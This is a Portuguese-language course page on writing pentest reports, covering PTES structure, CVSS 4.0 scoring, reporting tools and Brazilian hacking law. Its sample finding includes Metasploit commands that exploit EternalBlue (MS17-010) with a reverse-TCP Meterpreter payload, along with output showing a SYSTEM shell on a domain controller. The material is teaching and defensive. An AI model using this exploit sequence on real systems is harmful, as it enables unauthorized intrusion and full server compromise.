Documentação / Report

Comunicando Resultados

Um pentest só tem valor se os resultados forem comunicados de forma clara e acionável.


📋 Checklist Técnico

Pré-Pentest

Preparação

  • Definição do alvo e escopo
  • Criar uma pasta para o pentest
  • Direcionar saída dos comandos para arquivos na pasta

Ferramentas de Coleta

  • dnsenum
  • wafw00f
  • whois
  • nmap (hosts e portas)
  • nikto
  • gobuster/dirb

📄 Estrutura do Relatório

Checklist da Documentação

SeçãoConteúdo
1. CapaTítulo, data, classificação
2. IdentificaçãoDados do profissional/empresa
3. Sumário ExecutivoResumo para gestores (não técnico)
4. MetodologiaFerramentas e técnicas utilizadas
5. VulnerabilidadesLista detalhada com criticidade
6. ConclusãoAvaliação geral da segurança
7. RecomendaçõesAções de remediação

🗂️ Estrutura Completa de um Relatório Profissional (Padrão PTES 2026)

O PTES (Penetration Testing Execution Standard) define a estrutura mais consolidada da indústria para relatórios de pentest. Um relatório profissional é composto por dois grandes blocos com propósitos distintos: o Sumário Executivo (para diretores e gestores) e o Relatório Técnico (para engenheiros e times de TI/segurança). Nunca misture os dois públicos em uma mesma seção.

SeçãoPúblicoConteúdo Detalhado
CapaTodosNome do cliente, escopo, data, consultor, classificação de confidencialidade
Sumário ExecutivoDiretores, C-LevelPostura geral de risco, achados mais críticos em linguagem de negócio, impacto potencial estimado, recomendações estratégicas prioritárias
Escopo e LimitaçõesGestores, TIIPs/hosts testados, período, tipo de teste (caixa-preta/branca/cinza), o que ficou fora do escopo, restrições operacionais
Resumo de AchadosTodosTabela consolidada com todos os findings, severidade (CVSS) e status de remediação
MetodologiaTI, AuditoresPadrão adotado (PTES, OWASP, NIST SP 800-115), fases, ferramentas usadas
Achados DetalhadosTécnicosUm bloco por vulnerabilidade: título, CVSS, descrição, PoC, impacto, remediação
Roadmap de RemediaçãoGestores, TIPriorização por criticidade, prazos sugeridos, custo/esforço estimado
ConclusãoTodosAvaliação geral da maturidade de segurança, próximos passos
ApêndicesTécnicosLogs brutos, scripts utilizados, saída completa de ferramentas, glossário

Diagrama: Fluxo do Relatório Profissional

flowchart TD
    A["Engajamento Autorizado<br/>Escopo + Contrato"] --> B["Reconhecimento<br/>e Enumeração"]
    B --> C["Identificação de<br/>Vulnerabilidades"]
    C --> D["Exploração<br/>com Evidências"]
    D --> E["Documentação<br/>do Finding"]
    E --> F{"Severidade<br/>CVSS 4.0"}
    F -->|Crítico 9.0-10.0| G["Notificação Imediata<br/>ao Cliente"]
    F -->|Alto 7.0-8.9| H["Prioridade Alta<br/>no Relatório"]
    F -->|Médio/Baixo até 6.9| I["Relatório Final<br/>Rodada Normal"]
    G --> J["Relatório Final"]
    H --> J
    I --> J
    J --> K["Sumário Executivo<br/>C-Level"]
    J --> L["Relatório Técnico<br/>Times de TI"]
    L --> M["Roadmap de<br/>Remediação"]

Diagrama: Achado para Score e Remediação

flowchart LR
    A["Finding<br/>Identificado"] --> B["Calcular Vetor<br/>CVSS 4.0"]
    B --> C["Base Score<br/>AV/AC/AT/PR/UI/VC/VI/VA/SC/SI/SA"]
    C --> D{"Score<br/>Resultante"}
    D -->|9.0-10.0| E["🔴 Crítico"]
    D -->|7.0-8.9| F["🟠 Alto"]
    D -->|4.0-6.9| G["🟡 Médio"]
    D -->|0.1-3.9| H["🟢 Baixo"]
    D -->|0.0| I["🔵 Informacional"]
    E --> J["Remediação imediata<br/>≤ 24-48h"]
    F --> K["Remediação urgente<br/>≤ 7 dias"]
    G --> L["Remediação planejada<br/>≤ 30 dias"]
    H --> M["Remediação no<br/>próximo ciclo"]
    I --> N["Monitorar,<br/>sem ação obrigatória"]

🔧 Modelo de Relatório

Template Disponível

📄 Modelo de Documentação de um Pentest

Como usar:

  1. Clique em Arquivo
  2. Selecione Fazer uma cópia
  3. Edite no seu Google Drive ou baixe para edição offline

📊 Classificação de Vulnerabilidades

Níveis de Criticidade

NívelCVSSDescrição
Crítico9.0 - 10.0Exploração imediata, alto impacto
Alto7.0 - 8.9Fácil exploração, impacto significativo
Médio4.0 - 6.9Exploração moderada, impacto limitado
Baixo0.1 - 3.9Difícil exploração, baixo impacto
Info0.0Informacional, sem impacto direto

🧮 CVSS 4.0: O Novo Padrão de Pontuação (2023-2026)

O Common Vulnerability Scoring System 4.0 (CVSS 4.0) foi publicado pelo FIRST em novembro de 2023 e é o padrão atual para pontuação de vulnerabilidades em relatórios profissionais de pentest. Substitui o CVSS 3.1 com maior granularidade e métricas mais realistas.

Grupos de Métricas do CVSS 4.0

GrupoDescriçãoQuando Usar
BaseCaracterísticas intrínsecas da vulnerabilidadeSempre (obrigatório)
Threat (Ameaça)Maturidade do exploit disponível publicamenteSempre que houver exploit conhecido
EnvironmentalAjuste conforme o ambiente do clienteDeixar para o cliente ajustar
SupplementalContexto adicional (automação, recuperação)Opcional, para maior precisão

Principais Métricas Base do CVSS 4.0

CódigoMétricaValores Possíveis
AVAttack Vector (Vetor de Ataque)Network (N), Adjacent (A), Local (L), Physical (P)
ACAttack Complexity (Complexidade)Low (L), High (H)
ATAttack Requirements (Novidade em 4.0)None (N), Present (P)
PRPrivileges Required (Privilégios)None (N), Low (L), High (H)
UIUser Interaction (Interação)None (N), Passive (P), Active (A)
VC/VI/VAConfidentiality/Integrity/Availability do sistema vulnerávelHigh (H), Low (L), None (N)
SC/SI/SAImpacto em sistemas subsequentes (novidade em 4.0)High (H), Low (L), None (N)

CVSS 4.0 vs 3.1

No CVSS 3.1 existia o conceito de “Scope Changed”. No 4.0, isso foi substituído pelas métricas SC/SI/SA (impacto em sistemas subsequentes), o que permite scoring muito mais preciso em ataques de pivotamento e movimentação lateral, cenários muito comuns em pentests reais.

Calculadora oficial: https://www.first.org/cvss/calculator/4.0


🗒️ Modelo Completo de um Finding Profissional

Um finding (achado) é a unidade básica do relatório técnico. Cada vulnerabilidade identificada e explorada deve ser documentada com a estrutura abaixo. Sem evidência, o finding não existe; sem remediação, o relatório não tem valor.

==========================================================
FINDING: Execução Remota de Código via Serviço SMB Exposto
==========================================================

IDENTIFICADOR: FINDING-03
SEVERIDADE:    CRÍTICO
CVSS 4.0:      9.8
VETOR CVSS:    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
STATUS:        Aberto

----------------------------------------------------------
DESCRIÇÃO
----------------------------------------------------------
O serviço SMB (Server Message Block) na porta 445/TCP do
host 192.168.10.15 (WIN-SRV-DC01) está exposto à rede
interna sem filtragem e é vulnerável ao exploit EternalBlue
(MS17-010), que permite execução de código arbitrário sem
autenticação prévia.

A vulnerabilidade existe porque o host não aplicou o patch
de segurança MS17-010 da Microsoft, disponível desde março
de 2017. O serviço responde ao protocolo SMBv1 (legado),
que não deveria estar ativo em ambientes modernos.

----------------------------------------------------------
EVIDÊNCIA / PROVA DE CONCEITO (PoC)
----------------------------------------------------------
Ambiente de teste autorizado. Nenhum dado real foi acessado.

[1] Enumeração inicial com nmap:
    $ nmap -p 445 --script smb-vuln-ms17-010 192.168.10.15

    Saída:
    | smb-vuln-ms17-010:
    |   VULNERABLE:
    |   Remote Code Execution vulnerability in Microsoft SMBv1
    |     State: VULNERABLE
    |     IDs:  CVE:CVE-2017-0143
    |     Risk factor: HIGH

[2] Exploração via Metasploit Framework:
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
    msf6 exploit(...) > set RHOSTS 192.168.10.15
    msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(...) > set LHOST 192.168.10.100
    msf6 exploit(...) > run

    [*] Started reverse TCP handler on 192.168.10.100:4444
    [+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-
    [+] 192.168.10.15:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [*] Meterpreter session 1 opened

[3] Verificação de privilégios:
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM

    [Screenshot: metasploit_win_srv_dc01_sistema.png]

----------------------------------------------------------
IMPACTO
----------------------------------------------------------
Comprometimento total do servidor WIN-SRV-DC01 com
privilégios de SYSTEM (maior nível possível no Windows).
Um atacante poderia:
  - Extrair todos os hashes de senhas do Active Directory
  - Criar contas administrativas persistentes
  - Usar o servidor como ponto de pivotamento para a rede
  - Criptografar arquivos (ransomware) ou exfiltrar dados
  - Comprometer todos os demais hosts que confiam no DC

----------------------------------------------------------
REMEDIAÇÃO
----------------------------------------------------------
Prioridade: IMEDIATA (prazo sugerido: 24-48 horas)

1. PATCH OBRIGATÓRIO: Aplicar Microsoft Security Bulletin
   MS17-010 (KB4012212) em todos os sistemas Windows.
   URL: https://support.microsoft.com/kb/4012212

2. DESATIVAR SMBv1: Via PowerShell (executar como Admin):
   Set-SmbServerConfiguration -EnableSMB1Protocol $false

3. BLOQUEIO DE FIREWALL: Bloquear portas 445/TCP e 139/TCP
   na borda e entre VLANs. SMB não deve ser exposto
   para fora da rede de gerenciamento.

4. SEGMENTAÇÃO: Isolar o controlador de domínio em VLAN
   de gerenciamento, acessível apenas por hosts autorizados.

5. MONITORAMENTO: Configurar alertas de IDS/SIEM para
   tentativas de conexão SMB oriundas de hosts não
   autorizados.

----------------------------------------------------------
REFERÊNCIAS
----------------------------------------------------------
- CVE-2017-0143: https://nvd.nist.gov/vuln/detail/CVE-2017-0143
- MS17-010: https://docs.microsoft.com/security-updates/...
- CVSS Calculator: https://www.first.org/cvss/calculator/4.0
==========================================================

Boas Práticas no Finding

  • Nunca use dados reais de clientes em exemplos ou apresentações
  • O campo “Evidência” é obrigatório; sem evidência a vulnerabilidade não pode ser corrigida adequadamente
  • A seção “Impacto” deve sempre responder: “o que um atacante real conseguiria com isso?”
  • A seção “Remediação” deve ser acionável e específica, não genérica como “aplicar patches”

📚 Exemplos e Modelos

Repositório de Referências

RecursoDescrição
Exemplo AcadêmicoTrabalho de conclusão sobre pentest
PrimoConnect SampleRelatório comercial de exemplo
Offensive Security SampleModelo da Offensive Security

Modelo de Relatório de Pen Test


🛠️ Ferramentas de Documentação

Opções para Relatórios

FerramentaTipoDescrição
DradisOpen SourceFramework de documentação
FaradayOpen SourceIDE para pentests
PwnDocOpen SourceGerador de relatórios em DOCX
SerpicoOpen SourceRelatórios colaborativos
Cherry TreeNotesOrganização hierárquica
ObsidianNotesMarkdown com links
SysReptorOpen Source / CloudRelatórios profissionais em HTML/PDF com colaboração em tempo real

🆕 Ferramentas Modernas de Report: SysReptor e PwnDoc (2025-2026)

O mercado de ferramentas de relatório evoluiu significativamente. As duas opções open-source mais adotadas por profissionais em 2025-2026 são o SysReptor e o PwnDoc, cada um com abordagem diferente.

SysReptor

O SysReptor é uma plataforma completa de relatórios de pentest, escrita em HTML/CSS com renderização para PDF. Permite edição colaborativa em tempo real, criptografia dos dados em repouso, histórico de versões, arquivamento criptografado e notetaking integrado.

Características principais:

  • Relatórios escritos em Markdown, exportados como PDF profissional
  • Suporte a templates customizáveis (OSCP, OSEP, CREST, etc.)
  • Auto-hospedado via Docker ou disponível como serviço cloud
  • Plugin system aberto para extensões personalizadas
  • Interface web moderna, colaborativa

Como instalar (auto-hospedado):

git clone https://github.com/Syslifters/sysreptor.git
cd sysreptor
docker compose up -d
# Acesso: http://localhost:8080

Link: https://sysreptor.com | Documentação

PwnDoc

O PwnDoc é um gerador de relatórios de pentest que foca na produção de arquivos DOCX customizáveis. Permite criar e reusar findings a partir de uma biblioteca centralizada, facilitando relatórios consistentes para múltiplos engajamentos.

Características principais:

  • Geração de relatórios em formato DOCX (Word)
  • Biblioteca de vulnerabilidades reutilizável entre projetos
  • Interface web simples para preenchimento de findings
  • Auto-hospedado via Docker
  • Templates editáveis em DOCX

Como instalar:

git clone https://github.com/pwndoc/pwndoc.git
cd pwndoc
docker compose up -d
# Acesso: http://localhost:8080

Link: https://github.com/pwndoc/pwndoc

Comparativo Rápido

CritérioSysReptorPwnDoc
Formato de saídaPDF profissionalDOCX (Word)
EditorMarkdown + WebFormulário Web
ColaboraçãoSim, em tempo realLimitada
TemplatesHTML/CSS (flexível)DOCX
Biblioteca de findingsSimSim
CriptografiaSim (em repouso)Não nativo
DeployDocker / CloudDocker
Melhor paraReports PDF profissionaisReports em Word corporativos

✅ Boas Práticas

Dicas para um Bom Relatório

  1. Seja claro: evite jargões desnecessários
  2. Inclua evidências: screenshots, logs, comandos
  3. Priorize: vulnerabilidades mais críticas primeiro
  4. Seja objetivo: fatos, não opiniões
  5. Recomende soluções: não apenas problemas
  6. Dois públicos: sumário executivo + detalhes técnicos

📝 Boas Práticas Avançadas de Relatório Profissional

Sumário Executivo vs. Relatório Técnico: a divisão fundamental

O sumário executivo (1 a 2 páginas) é escrito para quem toma decisões orçamentárias e estratégicas, mas não tem formação técnica em segurança. Deve conter: postura geral de risco (ex.: “A organização apresenta risco ALTO”), os 2 ou 3 achados mais críticos em linguagem de negócio (ex.: “um atacante externo poderia acessar o banco de dados de clientes sem senha”), impacto financeiro e reputacional estimado, e as recomendações mais urgentes.

O relatório técnico é para engenheiros, analistas de SOC e times de infraestrutura. Deve conter todos os findings com evidência técnica, vetores de ataque detalhados, comandos utilizados, capturas de tela e passos exatos de remediação.

Regra de ouro: O CEO não deve ler os apêndices. O analista de TI não deve precisar do sumário para saber o que corrigir.

Escopo e Limitações: por que documentar

Documentar o escopo com precisão protege tanto o profissional quanto o cliente. Inclua:

  • Lista exata de IPs, hostnames, aplicações e ambientes testados
  • O que ficou explicitamente fora do escopo (ex.: “sistemas de produção no horário de 08h às 18h foram excluídos”)
  • Tipo de teste: caixa-preta (sem informação prévia), caixa-branca (acesso total ao código/infra), caixa-cinza (parcialmente informado)
  • Período exato do engajamento (datas e horários)
  • Restrições impostas pelo cliente (ex.: “sem DoS”, “sem engenharia social”)

Classificação de Risco: além do CVSS

O CVSS fornece a severidade técnica de uma vulnerabilidade de forma isolada. No relatório, o risco real deve combinar a severidade CVSS com o contexto do cliente:

  • Um servidor crítico de produção com CVSS 7.5 pode ter risco maior que um sistema de homologação com CVSS 9.8
  • Considere também: probabilidade de exploração real, dados sensíveis expostos, impacto regulatório (LGPD, PCI-DSS, ISO 27001)
  • Use a tabela de severidade como ponto de partida, não como resultado final

Linguagem e Apresentação

  • Use linguagem ativa e direta: “O atacante pode executar código arbitrário” em vez de “Código arbitrário pode ser executado”
  • Numere todos os findings para facilitar rastreabilidade (FINDING-01, FINDING-02…)
  • Inclua um campo de “Status” em cada finding (Aberto, Em Correção, Corrigido, Aceito pelo cliente)
  • Adicione um rodapé com nível de classificação do documento em cada página (Confidencial, Restrito, etc.)
  • Nunca compartilhe o relatório por canal não criptografado (evite email sem PGP/S-MIME)

Contexto Legal Obrigatório

Todo pentest deve ser realizado com autorização expressa e documentada do titular do sistema. A falta de autorização transforma a atividade em crime.

Art. 154-A do Código Penal Brasileiro (Lei 12.737/2012)

A Lei 12.737 de 30 de novembro de 2012 (conhecida como Lei Carolina Dieckmann) incluiu no Código Penal o crime de invasão de dispositivo informático:

“Invadir dispositivo informático alheio, conectado ou não à rede de computadores, mediante violação indevida de mecanismo de segurança e com o fim de obter, adulterar ou destruir dados ou informações sem autorização expressa ou tácita do titular do dispositivo ou instalar vulnerabilidades para obter vantagem ilícita.”

Pena: reclusão de 1 a 4 anos e multa.

O elemento central que distingue o pentest profissional do crime é a autorização: o profissional de segurança que realiza testes com autorização expressa do titular não incorre no tipo penal, pois a conduta não é “indevida”. Essa autorização deve existir do início ao fim do engajamento e o profissional deve se ater estritamente aos limites acordados.

DocumentoFinalidade
Contrato de prestação de serviçosDefine responsabilidades e escopo jurídico
Termo de autorização assinadoEvidência da autorização expressa do titular
NDA (Acordo de Confidencialidade)Protege dados do cliente acessados durante o teste
Regras de engajamento (RoE)Define limites técnicos e operacionais do teste
Relatório final assinadoEntrega formal dos resultados, com ciência do cliente

Sem autorização = Crime

Mesmo que você identifique uma vulnerabilidade em um sistema “acidentalmente” ou “com boas intenções”, acessar sistemas sem autorização é crime previsto no art. 154-A do CP. O relatório sem autorização não tem valor legal e pode ser usado como prova contra você.


🧪 Atividades Práticas

🧪 Atividade 1: Escrever um Finding Completo com CVSS 4.0

Objetivo: Documentar uma vulnerabilidade real explorada no laboratório no formato profissional completo.

Ferramenta: Calculadora CVSS 4.0 oficial em https://www.first.org/cvss/calculator/4.0

Passo a passo:

  1. Escolha uma vulnerabilidade que você explorou nas aulas anteriores no lab (sugestão: SQLi, RCE via serviço não atualizado, credencial padrão, diretório exposto via gobuster)
  2. Acesse a calculadora em https://www.first.org/cvss/calculator/4.0
  3. Preencha as métricas Base (AV, AC, AT, PR, UI, VC, VI, VA, SC, SI, SA) com base na vulnerabilidade real
  4. Copie o vetor gerado (ex.: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) e o score numérico
  5. Preencha o modelo de finding (veja a seção acima) com:
    • Título descritivo e objetivo
    • Severidade (Crítico/Alto/Médio/Baixo) baseada no score
    • Descrição clara do problema (sem jargões desnecessários)
    • Evidência: comandos exatos que você rodou e a saída obtida
    • Impacto: o que um atacante real conseguiria?
    • Remediação: passos específicos e acionáveis

Resultado observável: Um bloco de finding completo pronto para ser inserido em um relatório de pentest profissional. Compare seu finding com um colega: a remediação está específica o suficiente para um administrador de sistema seguir sem precisar te perguntar nada?


🧪 Atividade 2: Gerar um Relatório Completo no SysReptor (ou PwnDoc)

Objetivo: Usar uma ferramenta profissional de geração de relatórios para produzir um PDF de pentest completo a partir dos findings do laboratório.

Ferramenta principal: SysReptor (auto-hospedado via Docker) ou PwnDoc

Passo a passo (SysReptor):

  1. Clone e suba o SysReptor localmente:
    git clone https://github.com/Syslifters/sysreptor.git
    cd sysreptor
    docker compose up -d
  2. Acesse http://localhost:8080 e crie um novo projeto de pentest
  3. Preencha os metadados: nome do cliente (use “Cliente Fictício Ltda.”), datas, consultor, escopo
  4. Adicione pelo menos 2 findings ao relatório, usando o formato da atividade anterior. Inclua:
    • Título, CVSS score e vetor
    • Descrição, evidência (cole o output dos comandos) e remediação
  5. Escreva um sumário executivo de 3 a 5 parágrafos direcionado a um diretor de TI não técnico
  6. Exporte o relatório em PDF

Resultado observável: Um arquivo PDF de relatório de pentest profissional com capa, sumário executivo, findings detalhados e seção de remediação. Avalie: alguém que não fez o teste consegue entender o problema e saber o que corrigir lendo apenas o relatório?


🧪 Atividade 3: Calcular o CVSS 4.0 de Três Vulnerabilidades Distintas

Objetivo: Praticar o scoring de vulnerabilidades com diferentes perfis de risco para internalizar as métricas do CVSS 4.0.

Ferramenta: https://www.first.org/cvss/calculator/4.0

Vulnerabilidades para calcular:

Vuln A: Apache Log4Shell (CVE-2021-44228) Execução remota de código via JNDI injection no Log4j. O atacante remoto, sem autenticação, envia uma string maliciosa em qualquer campo de log e executa código arbitrário no servidor com os privilégios do processo Java.

Vuln B: Credencial padrão em painel de administração web Interface de administração do roteador acessível via navegador na rede local, com usuário admin e senha admin (padrão de fábrica). Qualquer host na mesma rede pode fazer login sem restrição.

Vuln C: Cross-Site Scripting (XSS) Refletido em campo de busca Parâmetro ?q= de um campo de busca não sanitizado reflete JavaScript arbitrário. Um atacante precisa convencer a vítima a clicar em um link malicioso. O script pode roubar cookies de sessão, mas não tem acesso ao sistema operacional.

Passo a passo:

  1. Para cada vulnerabilidade, preencha todas as métricas Base na calculadora
  2. Anote o score e o vetor CVSS gerado
  3. Justifique sua escolha para cada métrica em 1 frase (ex.: “AT=None porque não há condição especial para o ataque”)
  4. Compare os três scores: faz sentido a diferença entre eles?

Resultado observável: Uma tabela com os 3 vetores CVSS 4.0, scores numéricos, severidade e justificativa das escolhas mais controversas. Discuta com a turma: onde você e seus colegas discordaram nos valores de métricas? Por quê?


🗓️ Roadmap de Remediação: Priorizando Ações

Após identificar e classificar todas as vulnerabilidades, o relatório profissional deve incluir um roadmap de remediação que ajude o cliente a priorizar ações com base em esforço, impacto e urgência.

Diagrama: Matriz de Priorização

quadrantChart
    title Priorização de Remediação
    x-axis "Baixo Esforço" --> "Alto Esforço"
    y-axis "Baixo Impacto" --> "Alto Impacto"
    quadrant-1 "Fazer Agora"
    quadrant-2 "Planejar"
    quadrant-3 "Avaliar"
    quadrant-4 "Considerar"
    "Patch SMB MS17-010": [0.2, 0.95]
    "Desativar SMBv1": [0.15, 0.85]
    "Trocar senha padrão admin": [0.1, 0.75]
    "Configurar WAF": [0.65, 0.80]
    "Segmentação de rede": [0.75, 0.90]
    "Sanitizar inputs XSS": [0.35, 0.55]
    "Atualizar TLS 1.0": [0.40, 0.50]
    "Revisar logs SIEM": [0.55, 0.45]

Tabela de Roadmap por Prazo

PrazoPrioridadeExemplos Típicos
Imediato (24-48h)CríticoRCE sem autenticação, credencial padrão em sistema exposto
Curto prazo (7 dias)AltoServiços vulneráveis com patch disponível, senhas fracas em sistemas internos
Médio prazo (30 dias)MédioConfigurações inseguras, headers HTTP ausentes, TLS desatualizado
Próximo ciclo (90 dias)BaixoHardening adicional, melhorias de monitoramento, revisões de política
MonitorarInformacionalInformações de versão expostas, banners de serviço, enumeração de usuários

📚 Fontes (2026)